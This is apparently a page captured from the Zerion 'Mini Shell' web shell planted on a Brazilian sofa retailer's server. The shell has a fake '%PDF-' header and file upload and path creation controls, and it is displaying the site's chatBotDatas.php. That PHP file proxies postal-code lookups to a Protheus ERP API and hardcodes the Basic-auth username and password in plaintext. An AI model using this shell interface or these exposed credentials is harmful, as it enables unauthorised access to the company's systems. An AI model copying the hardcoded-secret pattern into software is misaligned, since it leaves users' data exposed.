%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/komfo908/api.komforthousesofas.com/
Upload File :
Create Path :
Current File : /home/komfo908/api.komforthousesofas.com/chatBotDatas.php

<?php

// Verifique se a requisição é do tipo POST
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    // Captura o corpo da requisição
    $input = file_get_contents('php://input');
    $data = json_decode($input, true); // Decodifica o JSON enviado

    // Verifica se o campo "cpf" foi enviado
    if (isset($data['cep'])) {
        $user_cep = $data['cep'];

        $cep = urlencode($user_cep);

        $ch = curl_init();

        // Define a URL da API
        //
        $url = "https://komforthouse134929.protheus.cloudtotvs.com.br:4050/rest/kmh/chatbot/agendamento/listaAgend/".$cep;
        // Define as opções da requisição
        curl_setopt_array($ch, [
            CURLOPT_URL => $url,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_HTTPHEADER => [
                'Authorization: Basic ' . base64_encode('altervision:@TO1q2w3e4r'),
                'Content-Type: application/json',
            ],
        ]);

        // Executa a requisição
        $resultado = curl_exec($ch);

        $JsResult = json_decode($resultado);

       if ($resultado === false) {
		echo 'Erro na conexão: ' . curl_error($ch);
	   } else {
	 
		   // Itera sobre os elementos do array dentro de "data"
		    header('Content-Type: application/json');
            echo $resultado;
	  
	   }

        // Fecha a sessão cURL
        curl_close($ch);
    } else {
        // Retorna erro caso o campo "cpf" não seja enviado
        header('Content-Type: application/json');
        echo json_encode(['error' => 'O campo "cpf" é obrigatório.']);
    }
} else {
    // Retorna erro caso a requisição não seja POST
    header('Content-Type: application/json');
    echo json_encode(['error' => 'Método não permitido. Use POST.']);
}

Zerion Mini Shell 1.0